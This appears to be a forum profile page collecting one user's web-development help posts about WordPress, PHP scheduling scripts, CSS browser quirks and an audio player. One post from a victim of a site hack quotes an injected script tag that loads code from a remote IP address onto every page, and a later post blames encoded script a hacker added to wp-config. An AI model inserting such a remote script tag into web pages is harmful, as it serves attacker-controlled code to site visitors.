Jump to content

jsarber

Member
  • Posts

    29
  • Joined

  • Last visited

Everything posted by jsarber

  1. I played with this for quite awhile and I found a way to fix it. I added this to the IE stylesheet: a#logo img {margin-bottom:25px;} Thanks for your help.
  2. I got excited for a second because I thought you were on to something. The closing brackets are there though. ?>">
  3. I appreciate the response but it's in there on the other side of the php/Twitter stuff.
  4. The site is http://orangecoffeecup.com. Look at the header. In IE the coffee cup image drops half way down. It looks fine in other browsers. I'm stumped. Here's the header: <div id="header"> <div id="twitter-badge"><a href="http://twitter.com/<?php if ($apa_Twitter == ''){echo '_fearlessflyer';}else{echo $apa_Twitter;} ?>">follow</a></div><!--twitter-badge--> <a id="logo" href="<?php bloginfo('url');?>"><img src="http://orangecoffeecup.com/wp-content/uploads/2011/03/coffee-cup-large.png" width="111px" height="70px" alt="Orange Coffee Cup" title="Orange Coffee Cup" /> Podcasting Network</a> <div id="navigation"> <div id="page-nav"> <ul> <li id="welcome" class="current_page_item2"><a href="<?php bloginfo('url');?>" title="Home">Welcome</a></li> <?php wp_list_pages('title_li=&depth=1&sort_column=menu_order'); ?> </ul> <span id="login"><a href="<?php echo get_option('home'); ?>/wp-admin/">Login to Site</a></span> </div> Here's the CSS: #header {height:156px; clear:both; padding:70px 49px 0 49px; width:940px; margin:0 auto; text-align:left; background:url(images/header-bg.gif) no-repeat bottom left; position:relative;} #twitter-badge {position:absolute; left:740px; top:-5px; background:url(images/twitter-badge-maroon.png); width:218px; height:139px;} #twitter-badge a {display:block; width:218px; height:139px; text-indent:-9999px;} a#logo {clear:both; font-size:98px; overflow:hidden; text-decoration:none; text-transform:uppercase; color:#333333;letter-spacing:-2px; display:inline; margin:0px; padding:0;} Any help would be greatly appreciated.
  5. Thanks. Worked like a charm. Seems now like an obvious fix.
  6. I have some ShareThis buttons at the bottom of each post on my blog. As the title says, they are displayed vertically in IE and horizontally in FF. I want IE to display them like FF. Here's what I'm talking about: http://www.jeremysarber.com/wp-content/uploads/2010/08/sharethis-buttons.jpg Here's the code: <span st_url="<?php the_permalink() ?>" class="st_twitter_vcount" displayText="Tweet"></span><span st_url="<?php the_permalink() ?>" class="st_facebook_vcount" displayText="Share"></span><span st_url="<?php the_permalink() ?>" class="st_email_vcount" displayText="Email"></span><span st_url="<?php the_permalink() ?>" class="st_sharethis_vcount" displayText="Share"></span> I have no idea why they display differently or how to fix it. Any help would be appreciated.
  7. I got it. It was some encoded script added to the wp-config file in the root directory by some hacker. I simply replaced the file, changed the passwords, and all is well.
  8. Here's the root index file: <?php /** * Front to the WordPress application. This file doesn't do anything, but loads * wp-blog-header.php which does and tells WordPress to load the theme. * * @package WordPress */ /** * Tells WordPress to load the WordPress theme and output it. * * @var bool */ define('WP_USE_THEMES', true); /** Loads the WordPress Environment and Template */ require('./wp-blog-header.php'); ?> Here's the theme's footer: <?php global $wp_theme_options; ?> <?php do_action('above_footer') ?> </div><!--end #container--> <div class="<?php do_action('container_style'); ?>" id="footer"> <div class="alignleft"> <strong><?php bloginfo('name'); ?></strong><br /> <?php _e('Copyright ©','flexx'); echo ' '.date('Y').' '; _e('All Rights Reserved','flexx'); ?> </div> <div class="alignright"> <?php $footer_credit = '<a href="http://flexxtheme.com/" title="Flexx Theme">'.__('Flexx Theme','flexx').'</a> '.__('by','flexx').' <a href="http://ithemes.com" title="WordPress Themes">iThemes</a><br />'; $footer_credit .= __('Powered by','flexx').' <a href="http://wordpress.org">'.__('WordPress','flexx').'</a>'; echo apply_filters('ithemes_footer_credit',$footer_credit); ?> </div> <?php wp_footer(); //We need this for plugins ?> </div> <?php do_action('flexx_footer_stats'); ?> </body> </html> I don't see anything, do you? I've searched the entire site for that script and every part of it. My search was fruitless which made me think it must be encoded. I also searched the database and came up short. I don't know what to do.
  9. My friend, The Lonely Conservative (lonelyconservative.com), had her site hacked. I am struggling to find the problem code within her Wordpress site. Here's what going on. This script has been added to the bottom of each page: <script src="http://61.4.82.212/js.php"></script> As you would expect, this script is not within the actual files. I assume I am looking for some kind of encoded something or other. How in the world do I go about finding it? I've been searching for more than a day.
  10. Maybe someone far more knowledgeable than me can help me with this. If you are familiar with BlogTalkRadio.com, several others and I host our own shows on that site. What I am trying to do is creating a streaming audio player that would take these shows and play them live instantaneously and play my own sound files in between. Is this possible?
  11. No, it's not smart enough. I came up with this: <?php $dir = 'mydirectory/'; $new_file = $dir.date('l-H-i').'.php'; if(file_exists($new_file)) { include $new_file; } else { $files = glob($dir.'Friday-00.php'); include $files[rand(0, count($files)-1)]; } ?> "Friday-00" is a sort of default file that can be used during any undesignated time. This script was originally written to use a random file if no file matched the time. I just changed the file name from "*" to "Friday-00". It works for my purpose. Just thought I would share in case someone else was looking for something similar.
  12. Here's a piece of the script I'm using: $new_file = $dir.date('l-H-i').'.php'; The entire script pulls and displays different php files at different times of the day. The files are named something like "Monday-09-30" and so on. Here's my question. If I have certain hours without any minutes (for instance, Monday-07), will it automatically display that file during the entire 7th hour? I hope this makes sense.
  13. I'm looking for a way to refresh a page, not in time intervals, but at a certain time of the day. For instance, I want the page to refresh at 9 a.m. (server time) each day. Even better, I would like it to refresh about 5 seconds after 9 a.m. Is this possible?
  14. Ok. I've went digging through my archives of past website files and found the code I used: <?php $dir = 'dbi/'; $new_file = $dir.date('d-m-y').'.php'; if(file_exists($new_file)) { /* if there's a file matching today's date, include it */ include $new_file; } else { /* include a random file if there's no file for today */ $files = glob($dir.'*.php'); include $files[rand(0, count($files)-1)]; } ?> How can I change this to schedule according to both date and time? Is this possible?
  15. I don't suppose someone could point me in the direction of a php/time/date/echo tutorial?
  16. I know I've done this before on a past website but for the life of me, I cannot remember how I did it. I would like to schedule a small portion of content on the site to change during one hour each day. Any help would be greatly appreciated.
  17. Let me try something different. Basically, I only wanted the player to start automatically when the show is live anyway. All these extra measures were to keep visitors from getting annoyed. Is is possibly to only autostart when the show is live? Here's the player:
  18. Really? I have never had any trouble loading it and neither has anyone else that I've known about. Hmmm... I guess I don't understand exactly what a lightbox is or what it will do for me?
  19. I have a flash player in a div that automatically starts playing when the page is loaded. I keep it fixed it the corner so people can quickly find it and turn it off if they want. Here's what I'm looking to do: 1) I would like to give them the option before they navigate away from the page to make the player pop up in a new window so that they may continue listening without interruption. Perhaps I could put the option right above the player. 2) I would also like to make the div collapsible or closable and stay that way as folks navigate through the site for their convenience. That means the player would cease playing as well. Is this possible? If so, how? Any help would be greatly appreciated. I've been Googling for hours to no avail. The website if you need it is http://jeremysarber.com
  20. I just upgraded this morning to Wordpress 2.8 and a feature I was using and need has been changed. It makes sense, but multiple users cannot be registered if they have the same email. The problem is that I register "authors" on the back-end so that I can publish writing from several church ministers under their named. I use my email address for all of them and now it won't let me. Anyone familiar enough with PHP and Wordpress to point me in the right direction?
  21. Thanks for the input. I have tried to practice as good of ethics in business as possible and felt I was right in telling them "no" on this matter. I just wondered your thoughts. Thanks.
  22. That wasn't the original intention of the homepage. It originally went straight to the Joomla store. A graphic designer did that homepage graphic and asked me to make it the index page after the fact. The cost to replicate his graphic in a web-friendly page was too much additional cost for them.
×
×
  • Create New...